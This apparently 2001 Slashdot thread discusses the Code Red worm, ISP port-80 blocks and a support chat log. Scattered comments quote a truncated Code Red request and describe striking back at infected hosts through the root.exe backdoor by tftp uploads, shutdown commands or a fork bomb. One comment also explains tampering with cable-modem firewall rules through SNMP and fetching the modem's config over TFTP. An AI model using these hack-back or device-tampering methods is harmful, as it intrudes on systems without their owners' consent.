lowercase lameass lameness filter lowercase lowercase lowercase lowercase lowercase lowercase
Mediaone has closed off port 80 inbound? WHY? The new version of the worm (the person responsible took the shellcode from the first two variants...yes, that's right, "CodeRed II" is really the third iteration) first checks to see if the machine is running a Chinese or Taiwanese version of Win2K. Ah, yes....it only works against Win2K, since that's the only offset it carries. I don't think that people need to take more action towards securing things a good bit better, but this is a reaction that does not consider the nature of the threat.
For your security, this post has been encrypted with ROT-13, twice.
How many people do this? Standard policy at most places is probably just to install/patch and then assume everything is rosy.
Here in Las Vegas, Cox Express explicitly allows servers if you buy a static IP address for an extra $10/month. Ah, the advantages of a smaller town where IP addresses are plentiful.
The CNN.com story about this makes no mention of AT&T's woes. Wonder Why?
It because they're one of CNN's biggest sponsors. The online video coverage of the story is even preceded by AT&T commercials :). Now THATS Irony!
Here's the Video . . .
Thanks. Do you know of any sites that have further info?
aris.securityfocus.com lets you look at port access trends. dshield.org is a similar, but much less comprehensive, site.
And I can vouch for port 80 being blackholed. Around 2:30 last night was the last scan for default.ida on my machine. I've of course since sent the list of chatty boxes to the helpdesk here, but my webserver's still blackholed as is, I imagine, every other one on here. 5 scans a minute is quite enough.
That said, I haven't gotten so much as a bulk e-mail explaining their actions; it doesn't bother me except that there are inevitably going to be infected users _still_ in the dark about it when the blackhole's lifted.
Easy does it!
This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
I've already seen at least one site sending out automated 'a host in your network may be infected' notices by putting up a CGI script in place of vulnerable IIS binary, and using the ARIN database to try to guess who controls the network that the attacking host resides in.
I only received the warning message because it guessed wrong :-)
I do not deploy Linux. Ever.
...was down most of yesterday, and has been having a lot of slowdowns the past few days. Also, the email server went down at the same time yesterday morning; The pop server came back up yesterday evening, though SMTP just came up a couple hours ago. They distributed an email yesterday (pop was up, so we could receive) saying they had Code Red running rampant in our block of IPs and warning eveyone with NT and 2000 to fix their systems.
I work for a large tech company. They gambled and decided not to patch internally for the reason that we have several thousand Win2k servers. Well they lost that gamble and eventually had to shut off access to port 80 on the whole intranet. Needless to say our internal net was useless today and I am sure the productivity cost them dearly.
On another note, all the arp requests from the @home network has pretty much rendered the 65.x.x.x network useless right now. I have recoreded over 3000 unique IP's (mostly originating from Seattle) with the worm. So in general I am extremely pissed at the idiots who did not patch and the idiots who wrote that crappy IIS software.
No, those are BOOTP packets. ARP packets are used any time someone tries to connect to a machine on your cable segments. Generally the router will cache ARP replies, but Code Red could be causing their ARP tables to overflow, making them repeatedly look up the same addresses. Or people may be trying to connect to machines that are turned off. The router never gets an ARP reply, so it keeps sending out requests. Cable segments often have thousands of computers, so it's probably a combination of these things.
I'm graphing the bandwidth of my modem, and incoming data has been at 6 kbit/sec since this thing started. Cable modems have ~40 mbit/sec of bandwidth, so the ARP packets shouldn't be having much effect on bandwidth. Maybe your ISP's T1/T3/etc. lines are congested with traffic.
The problem for us Mac users isn't the fear of infection, but the increased use of bandwith that slowed our access to the Internet at work. I had the experience of trying to do Westlaw.com training on a slow connection today. We finally gave up. I'm glad AT&T took the action it did. It really increased speed this afternoon. I wish my cable modem company would do the same thing. I'm see 4 attacks per minute on my machine at home. Each attempt is deflected by my firewall, but it continues to piss me off, and slow my connection. All broadband providers should take the same action for residental users.
I'm seeing a few hits a minute -- mainly from other Sympatico IPs. It's probably a later version of Code Red.
I'm truely amazed at the number of clueless people running IIS, probably on home machines. (I know, I know: You can never underestimate the intellegence of most users.)
It'd be tempting to use the Code Red II backdoor to drop a "Hey stupid, your computer is infected!" message on their decktop, but sigh, that would be wrong...
One line blog. I hear that they're called Twitters now.
I think they are very honest. --------- Dear customer, For some time, a worm-type virus, called "Code Red" has been affecting the operating systems Windows NT 4 and 2000, running "Internet Information Server" ("IIS") 4 or 5 services, propagates on the Internet. Once installed on these systems, this virus tries to reproduce itself on other computers. With this intention, it carries out a sweeping scan on the Internet in search of other vulnerable servers. For users like you, this results in: - a ceaseless flickering of the "Receive" led ("RD" or "RCV"). - constant logging, in your firewall software, of repeated connection attempts on port 80. Put besides these nuisances, these requests do not represent any danger for other operating systems (Windows 95/98/ME, Linux/Unix, etc). Although out of our control, this situation forces us to deploy a good share of efforts and resources in order to counter the network slowdown and the performance drops of our servers. For these reasons, we recommend the concerned users (WinNT4 and 2000) to secure their systems by using the tools at their disposal on Microsoft's web site. You can also find a good deal of complementary informations concerning this virus. Microsoft Security Bulletin MS01-033 : http://www.microsoft.com/technet/treeview/default. asp?url=/technet/security/bulletin/MS01-033.asp
(Patches are available at the bottom of the preceding link)
We hope that these informations will be useful to you. Our technical support center is opened seven days a week, twenty-four hours a day. We invite you to visit our web site at http://www.videotron.com where you will find details concerning our products and services.
Thank you for choosing Vidéotron
Best regards,
Bruno Cartier
Internet residential technical support
assistance@videotron.ca
Contact us : http://internet.videotron.ca/contact-us/
Internet services: http://internet.videotron.ca/en/
Insufficient Internet Security
(Note: calls work fine; it's just directory information that you cannot get.)
> cat default.ida
a ult.asp?url=/technet/itsolutions/security/topics/c odealrt.asp">
</head>< body bgcolor="ffffff" text="ff0000">
< font size="+4">
< center >
< HTML>< HEAD > < META HTTP-EQUIV="REFRESH" CONTENT = "5; URL=http://www.microsoft.com/technet/treeview/def
YOUR SYSTEM IS INFECTED WITH CODE RED. GO AWAY NOW AND PATCH YOUR SYSTEM PLEASE.
</center > </font > </body > </html >
To-do List: Receive telemarketing call during a tornado warning. Check.
It'd be a thing of beauty.
-- @rjamestaylor on Ello
Comment removed based on user account deletion
Instead of blocking off port 80, why not explain to your customers that they need a REAL (secure) OS if they want to run webservers.
My local cable company out right hates me, becuase I run Linux. Well, I called them today about the severe speed decrease and they thanked me for not being one of the ones slowing down the entire network. Of course, they still don't like the fact that I am running a webserver. But, theres not much they can do about it. They didn't have a TOS when I signed up. So, I am grandfathered into running what ever I please. Keep in mind, I don't abuse this privilege. Which is why they don't make a big stick about it. I have a VERY low traffic site, which is mostly for my own private use.
until (succeed) try { again(); }
Comment removed based on user account deletion
I have gotten virus's in my winbox that both mcaffe and norton both didn't catch ..
iF yOu WAnT to C YOUr iP agaIn gAThEr tWO MilLIon dOLLArS IN Non - cONsEcuTivE TweNtY's AnD AWaiT FuRThER iNstrUctIoN
Hasn't hit any of our servers but I keep getting the w32.sircam worm in my email all day. I reply to them all with easy to comprehend AOL language... "You've got worms."
10.1.*.* GET /Default.htm
always immediately followed by
10.1.*.* (same ip) GET /x.ida
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...A=X
I just got off IRC with what I thought was AT&T tech support. Turns out I'm not an AT&T customer anymore. Now I'm an @home customer. Well, actually my checks go to AT&T every month, but I don't have to abide by their AUP even though my official AT&T roadrunner homepage links to their AUP.
...
NOOOOOO! I'm bound to @home's AUP, which is on a completely different site. To their credit, the support staff was very polite and profesional. Anyway, here's my IRC logs, so you all can see what a joke MediaOne/AT&T/@home really is. I've changed their names to protect the innocent. "Tech" is the original level-1 tech i spoke to, and "Supervisor" is his supervisor.
Welcome moo2
Connecting to server. Please wait...
Connected to athchat03.broadband.att.com
Tech has joined this session!
Tech says, Thank you for contacting AT&T Broadband Cable Internet Services. My name is Tech. How may I help you?
Tech says, You have blocked port 80, correct?
You say, can you pls unbloc port 80 for my IP?
You say, yes.
You say, i am fully patched against codered V1&v2
Tech says, Unfortunately, the port 80 has been blocked by the broadband engineers as to combat the spread of the code red virus. Sorry for any inconvenience.
You say, blocked for how long?
Tech says, That block will be removed by the broadband engineers when the issue with the virus on the network has been solved. There is no ETA given for that removal. Sorry.
You say, your aup says that if i chose to run an http server, i assume all security
risks.
You say, it does not say that you will block access even though i asert that i assume all risks.
Tech says, The actual use of a personal web server does violate the terms
and service agreement. We cannot individually remove the blocks for computers. Sorry for that.
You say, where in the aup does it say that?
Tech says, The use of a personal web server is against the terms of service agreement. It is one reason why we do not support Windows 2000 server and only Windows 2000 professional.
You say, according to your web site, section 9b says "If Customer chooses to run such applications, Customer should take the appropriate security measures"
You say, again, where in the aup does it say that?
Tech says, This information is recorded in our @home policies pages. I will see if I can get that information for you.
You say, pls do...if it differs from the aup posted on the website, there;s gonna be a problem.
Tech says, I will send you this page in one moment.
Tech pushes page, http://www.home.com/aup
You say, i am an att customer, not @home...if @home has dift policies than att,
it was up to them to inform me when the 2 merged. is i can talk to about this?
Tech says, I have inquired about your information. The block on port 80 will
not be lifted any time soon. If you wish to talk to a supervisor, I can arrange that for you.
You say, pls do...i was unaware that i am now an @home customer. while my home page has changed to excite@home, clicking on the 'member services' link or the 'help' link, the 2 places you'd expect to find an aup, i'm redirected back to at&t's site.
Tech says, I will need some information from you first.
Tech says, May I have your first and last name, and your current phone number with the area code please?
You say, xxxx xxxxxx xxx-xxx-xxxx
Tech says, May I also get your complete mailing address with the city, state and zip code please?
You say, 9999 nw 99 st. #999, anytown fl, 99999
Tech says, Thank you for that information. I will get a supervisor for you in one moment.
You say, thanks
Tech says, I am transferring you in one moment. The supervisor's name is
Supervisor.
You say, ok thanks tech
You are being transferred to another Agent. Please stand by...
Tech has left this session!
Supervisor has joined this session!
Supervisor says, Thank you for contacting AT&T Broadband Internet Services, I am a supervisor and my name is Supervisor, How can I help you today?
You say, did Tech explain the situation to you?
Supervisor says, Yes, your are requesting port 80 be unblocked?
You say, yes, pls
Supervisor says, That is not possible at this time I apologize.
You say, ok...i understand tat you are blocking to halt codered, which is acceptable since i'm not running any commercial site...
Supervisor says, Provision 10.9 on the user agreement is the section you
should refer too.
Supervisor says, That is correct.
You say, but i'd like to know why i'm being subjected to @home's aup when i'm an att customer
Supervisor says, Actually the section I quoted is on the Road Runner agreement.
You say, can you give me a url pls?
Supervisor says, @Home and ATRunner are in the process of merging.
You say, well according to the att aup, which is the only aup i'm bound to right now, "This Agreement represents the complete agreement concerning this license and may be amended only by a writing executed by both parties. "
You say, http://help.broadband.att.com/subagreelease.jsp 10.9
Supervisor says, Did you receive are email regarding the issue?
You say, srry, it's 11.9
You say, no
You say, the only email was about a rate increase
Supervisor says, One moment locating the link for your user agreement.
You say, thx
w-Supervisor pushes page, http://help.broadband.att.com/faq.jsp?
content_id=354&category_id=3
Supervisor says, You should have it in front of you right now.
Supervisor says, 10.9 is applicable in this instance.
You say, ok...understood...but you have to admit that it conflicts with http://help.
broadband.att.com/subagreelease.jsp 9b, which says in reference to http servers "If Customer chooses to run such applications, Customer should take the appropriate security..
You say, measures."
Supervisor says, That is correct. However you are former mediaone customer and our governed under the old agreement.
You say, the old agreement is the one you just sent me?
Supervisor says, Correct. That is the agreement you would have signed.
You say, i'll have to dig through my papers, but i doubt it.
You say, anyway, on a more friendly note, are the codered hits letting up at all yet?
Supervisor says, If you have any further questions please refer to AT&T Legal demands at http://help.broadband.att.com/legal regarding any challenges.
Supervisor says, Yes the implementation of the filters is causing it to let up.
Supervisor says, I apologize for us having to take the action we did.
You say, no, i mean inbound to your routers...
You say, we saw a drastic DECREASE at my work today..sounds like ppl are patching their systems.
Supervisor says, It was beginning to bring down the stability of our network and we had to take action.
Supervisor says, That may be the case or it may be the filters we put in place.
Supervisor says, I cannot say at this time.
Supervisor says, We are in the process of contacting the affected customers at this time.
You say, well thanks for the info...and i'm gonna do some more research. if i have any problems i'll refer to the last url you gave.
You say, is there a phone number for your legal dept?
Supervisor says, Your welcome. Legal Demands Center 183 Inverness Drive West Suite 100-N Englewood, Colorado 80112 Phone: 800-871-6298
You say, ok thanks again for the info, and thanks for being so professional about this matter.
You say, g'nite.
Supervisor says, It's been a pleasure chatting with you. Thank you for using AT&T Broadband Cable Internet Service and have a good day.
You say, you too.
The session has ended
Karma...what's that? I just speak my mind.
Seems like you're implying that IIS costs money...which it does not. The OSes it runs on do however...that might have been what you were implying but it seemed otherwise to me.
Shouldn't we instead focus on finding the authors and bring them to justice.
Has anyone written a small little daemon that runs on win32 to listen to incoming requests on port 80 (or any configurable port) and just log the IP and string sent by the remote computer? I would like to have something like that to see how many times my windows box has been hit, even though its not vulnerable, and especially I'd love to install it on my work computer to see if code red is floating around the corporate network at all.
I ran a test on the 1597 unique hosts that have attempted to infect my web server recently.
321- 20.1% - "Under Construction" default blank page
0- 00.0% - "too busy"
1093- 69.4% - cannot connect
183- 11.4% - some web page
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
where i work we have to put iis boxes on the net. i don't like this, so i've written a program that runs on your firewall and filters inbound http requests.
:)
"patching" all our iis boxes for codered took me approx 30 seconds
http://glob.com.au/http_filter/
freeware.
nostrils
Here is a 20 minute segment from my router's logs:
-00:39:39 Unrecognized access from 24.252.126.24:4409 to TCP port 80
-00:36:36 Unrecognized access from 24.252.165.173:2976 to TCP port 80
-00:36:33 Unrecognized access from 24.252.165.173:2976 to TCP port 80
-00:36:27 Unrecognized access from 24.252.165.173:2976 to TCP port 80
-00:30:57 Unrecognized access from 24.252.222.104:3215 to TCP port 80
-00:30:55 Unrecognized access from 24.252.222.104:3215 to TCP port 80
-00:30:49 Unrecognized access from 24.252.222.104:3215 to TCP port 80
-00:25:34 Unrecognized access from 24.252.222.104:3822 to TCP port 80
-00:25:31 Unrecognized access from 24.252.222.104:3822 to TCP port 80
-00:25:25 Unrecognized access from 24.252.222.104:3822 to TCP port 80
-00:25:10 Unrecognized access from 24.94.116.61:2962 to TCP port 80
-00:25:07 Unrecognized access from 24.94.116.61:2962 to TCP port 80
-00:25:00 Unrecognized access from 24.94.116.61:2962 to TCP port 80
-00:22:50 Unrecognized access from 24.252.222.104:4245 to TCP port 80
-00:22:15 Unrecognized access from 24.252.16.129:1302 to TCP port 80
-00:22:12 Unrecognized access from 24.252.16.129:1302 to TCP port 80
-00:22:06 Unrecognized access from 24.252.16.129:1302 to TCP port 80
-00:19:14 Unrecognized access from 24.252.74.143:4835 to TCP port 80
-00:19:11 Unrecognized access from 24.252.74.143:4835 to TCP port 80
-00:19:05 Unrecognized access from 24.252.74.143:4835 to TCP port 80
This has been going on non stop since Sunday. 'nuf said.
Since Code Red's damage seems to be primarily a function of its ability to spread, why not treat it the way we attack some diseases/pests: destroy its ability to reproduce.
Why doesn't someone write a Code Red anti-worm - it spreads via the same mechanism as does Code Red, but once it has infected a machine, it uses its root privileges to close the door behind itself, then deletes itself. It could even send mail to the administrator of the machine indicating the fact.
-BbT
Surely the person who was savvy enough to write this understands the level of breach this is. To hijack probably more than a quarter million servers worldwide has got to be one heck of a jail sentence.
The phone, the bane of my existance, rings. "Hello, Computer Room" I say, being helpful - BOFH
Warning: the following is all tongue and cheek. It's so obvious that Microsoft intentionally put this bug in and created Code Red themselves. By seeing how much the worm spread, they could see how many IIS machines were out there and there by discover how many copies of Windows have been pirated. And they thought they had us... hahaha
"Nature doesn't care how smart you are. You can still be wrong." - Richard Feynman
I don't know if it works, I don't have a Win boxes to test it on...
I must have missed the sarcarism or humor there, or something.
The phrase, a Win boxes, is wrong under any variation of english grammar that I've ever seen. Though being the "grammar facist" maybe you know some grammar secret the rest of us dont? Please enlighten. Or maybe that was a poor attempt at sarcasim. I feel silly pointing out something so obvious.
obviously it's classified as medium damage because it can only infect iis servers.
big whoop....
If I don't put anything here, will anyone recognize me anymore?
OpenBSD. AKA The Jimmy Hat OS.
i want the t-shirt. preferably with the blowfish trying to swim out the end of a trojan.
tee hee.
--saintSlashdot is currently fucking up my submissions, claiming junk character posts, duplicate posts 22000 hours ago and what not. Sorry if this appears twice somewhere...
:) Things would have been so much easier if this was indeede remote root.
On to what I wanted to say:
While the executable is called root.exe, it's far from a remote root.
"Unfortunately" (well, if you want to do anything with root.exe at least), recent IIS versions are running as some IIS user with very few privileges. It did use to run as "system" (meaning - more power than the administrator), but it doesn't anymore.
My attempts at shutting down machines attacking my Apache box by running various "net stop" commands etc. were futile. The IIS user simply doesn't have the privileges to shut down the system.
I suspect one could create the equivalent of a fork bomb in a very minimal executable - then write the executable to the remote machine in a number of HTTP requests, and finally get the attacker to stop simply by executing the fork bomb.
But I haven't gotten around to trying this just yet
You might have more chance to get hired if you changed
cat file | grep pattern
into
grep pattern file
Wow, those virus hasnt got to LDAP / Microsoft Active Directory and change people password yet.
I sorta read that the same way, unfortunately it is contradicted by the AUP which says:
Examples of prohibited uses include, but are not limited to, running servers for mail, http, ftp, irc, and dhcp, and multi-user interactive forums.
Also, you'll find a Q&A that says:
AT&T Broadband does not allow servers to be connected to the cable modem. This means that no computer in a personal network can be used as a server.
They also say in their AUP that they don't spy on their customers and don't go out of their way to catch people. Essentially, if you're running a server that is *not* causing bandwidth problems for your neighbors, they won't come after you.
NULL
I had to modify them for my modem, as docsDev appears in the "experimental" group, rather than the proper location. Install all 4 files in your mibs directory, and you should be able to deal with any modem.
On my modem, the raw OID is ".1.3.6.1.3.83.1.6.4.1.2.1". The proper OID is ".1.3.6.1.2.1.69.1.6.4.1.2.1" (the last digit changes of course). If one doesn't work, try the other. From now on, I'll just post the OID that works for my modem, you may need to modify it.
The integer value ".1.3.6.1.3.83.1.6.3.0" controls the default action, with 2 being "accept". If your ISP was using a drop-by-default policy, removing the firewall rules would disable your internet connection (so snmpset it to "2" first). But I don't think any ISP firewalls that strictly.
The 1.3.6.1.3.83.1.2.1.[x].[rulenum] table controls SNMP access. If you know how to read an MIB, you can use this to change access settings (i.e. set community strings, or restrict by IP). To find your community strings, if they are not the default strings, you can download your modems config file through TFTP. Sniff some DHCP requests to find the server's address, and the filename. You might need to set your IP to one in the 10.x.x.x block while downloading the file (you can also get a copy of your modems firmware this way).
For anyone who thinks this info might help you uncap your modem - you're wrong. I've tried modifying every value related to speed limits, including adding new QOS tables. Nothing works (well, maybe if you hack the firmware, and convince your modem to take your "updated" version...). It's the most well-protected setting in the modem. However, you can READ the cap settings - so when you're ISP says "we're 100x faster than a 56k modem", you'll have proof they are lying. 2048 kbit isn't even 100x faster than a 28.8 modem...
You can also use MRTG to graph your modems bandwidth usage, which is pretty interesting. And you can graph things like the signal-to-noise ratio, transmit/receive power levels, error rates, etc.
As somebody suggested for Road Runner, the ISPs should scan for vulnerable IIS servers specifically, and block THEM. @Home certainly has the ability... My logs show dozens of scans and security checks by them every day, so a Code Red-oriented scan probably wouldn't be much more of a stretch for their security systems.
Just my 2 cents.
Actually the IIS Anonymous user (by default has guest access only) CAN shut down the machine. I've developed a script - though its not fully functioning yet outside my test environment - that will detect a code red attack and immediately strike back by using root.exe to upload serveral files using tftp.
These files are used in an attempt to automatically patch the server and remove the security holes left by code red.
Unfortunately it has yet to actually succeed over the web. Most of the attackers seem to experience problems when it comes to shutting down. My defense routines automatically try two different ways of shutting down the remote machines (both of with work in my internal network between different machines) - but I cant quite get them to work on the machines on the web.
It may because of the increased security of NTFS. As my routines are only designed to work with security lax FAT formatted systems - that be part of it.
Anyway - Code Red is only getting worse. I've had over 2100 attack attempts since saturday. Day by day the daily number is increasing (600 today alone). This has got to stop....
Gam
"Flame at Will"
I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
Yeah I wrote something - its a set of scripts that work with IIS. I have a web app that will parse through IIS logs and dump a report back to you with a nice little graph.
I've developed a script - though its not fully functioning yet outside my test environment - that will detect a code red attack and immediately strike back by using root.exe to upload serveral files using tftp.
These files are used in an attempt to automatically patch the server and remove the security holes left by code red.
Unfortunately it has yet to actually succeed over the web. Most of the attackers seem to experience problems when it comes to shutting down. My defense routines automatically try two different ways of shutting down the remote machines (both of with work in my internal network between different machines) - but I cant quite get them to work on the machines on the web.
It may because of the increased security of NTFS. As my routines are only designed to work with security lax FAT formatted systems - that be part of it.
Anyway - Code Red is only getting worse. I've had over 2100 attack attempts since saturday. Day by day the daily number is increasing (600 today alone). This has got to stop.... and I do not believe it will until somebody writes a worm like code red that patches the servers instead of opening them up.
Gam
"Flame at Will"
I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
This partial patch file can be "run" without any error messages popping up, causing some admins to erroneously believe that they've applied a patch.
The only indication that something went wrong is if the window with file size is visible, and if the person doing the download notices that the amount of data is less than the size of the file to be downloaded.
Perhaps we can run this command to open the link to the IIS patch for these idiots. I couldn't fight the curiosity any longer, so I installed a webserver on my box just to watch the logs, and I've gotten well over 100 hits in the past hour and have found quite a few of my fellow RR members have been r00ted. Now if only I could figure out how to embed useful commands in the HTML so I can try to help some of these folks out.
You hadn't noticed that Microsoft innovated a whole virus industry? There are several companies which get a lot of money providing anti-virus solutions. Ever since the early days of MS-DOS, virus capabilities have been mandated in the DOS standard. That's innovation!
Something's been bothering me about all the people criticizing the IIS admins for being too lazy to apply a month-old patch. Personally, I admin an IIS server that didn't have the patch applied, but Code Red didn't affect it. Why not? Because when I set up IIS in the first place I followed the security checklist. Unmapping .ida and other unused server extensions was right there on the list. Any decent Microsoft weenie should have done the same. If you're not stupid in the first place, sometimes you can get away with being lazy.
With all of the viruses going around, it makes me stop and wonder why there aren't more freeware projects going on. Obviously someone has the time and talent to write a decent program (a malicious program could just as easily be legitimate). And obviously, they've decided to give it away to the world for free. So where's my free FTP/SCP/Telnet/SSH/Web browser?!
It does on mine.
I did buy a full version of Windows 2000 Professional, because there are some Windows programs I like that aren't available on Linux/UNIX. Fortunately, I opted out of installing IIS -- the only Web server I run is Apache on my FreeBSD machine.
A friend of mine worked his way through online support for @home and managed to talk to a manager. Apparently, their plan is to axe the accounts of the infected users. "They aren't supposed to be running servers anyway". I can see them doing this if it goes on much longer. The HTTP hits are much less today on the 24.x.x.x.
Hmmm, does the MSCE cover installing patches? .NET.
At least microsoft.com not mentions Code Red II on its home page. New variant. Download the patch now to protect your network.
Somehow I think I want to stay far, far away from
You might have more chance to get hired if you changed
cat file | grep pattern
into
grep pattern file
[grin] That's actually what it's running; I'm not crazy and I don't want to melt down my server with the extra command and the pipe overhead. I took a little ...uhh... artistic license and used cat and then grep on the page because, based on the number of Slashdot visitors who are still running Windows, it seems more self-explanatory.
My reasoning? I don't know what percentage of those people are actually running Linux/UNIX servers. Most UNIX newbies could figure out what the cat does, and the pipe is the same as from DOS. And then, in that context, I don't think it would take a rocket scientist to see what grep does. However, grep on its own would look a little unclear.
My focus group was my two roommates, both reasonably conversant with Windows and DOS (one of them has an original copy of DOS 3.3 still sealed in the box), no previous experience with UNIX of any sort, or the allegedly mind-blowing command prompts. The closest they've ever come to a shell is configuring a POP mail client. [grin]
Yes, it appears to be inelegant. On one hand, the display version is in the very traditional UNIX model of a small, specialized and portable tool for each task, so in that sense, it's the preferable way, it's elegant in context. But, anyone who has ever written a script and watched top would cringe at it because it's a brute-force programming technique, almost as bad as a bubble sort. I don't claim to be a programmer, let alone an inspired one, but I certainly value efficiency.
Okay, am I out to lunch? Does it work? I thought it through; after all, this is a first impression of me. Maybe I'll put a link off it with an explanation of why I chose to display the command that way.
Fire and Meat. Yummy.
Right now I get hit about 40-70 times per hour with this. Thank god for Linux and iptables. :-) Funny thing is, most of the hits are from my cable providers network. Anyone want a retail box of NT 4.0 workstation? hehe...
Life was hell, then I discovered Linux...
Two weeks ago AT&T decided to drop the jacksonville.net domain we all use for our email. I complained about it and was told I should pay a business rate if I wanted a guaranteed email address. They've since turned the domain back on. It amazes me that AT&T lets their new aquisitions get away with such bad service.
On the bright side, this has allowed DSS retailers and DSL resellers to make a mint offering alternatives. In fact, AT&T has been hurt so bad they are fighting the city's requests to have access to their customer service reports. Now if they would only put the time they spend fighting city hall into fixing service problems...
'Same speed C but faster'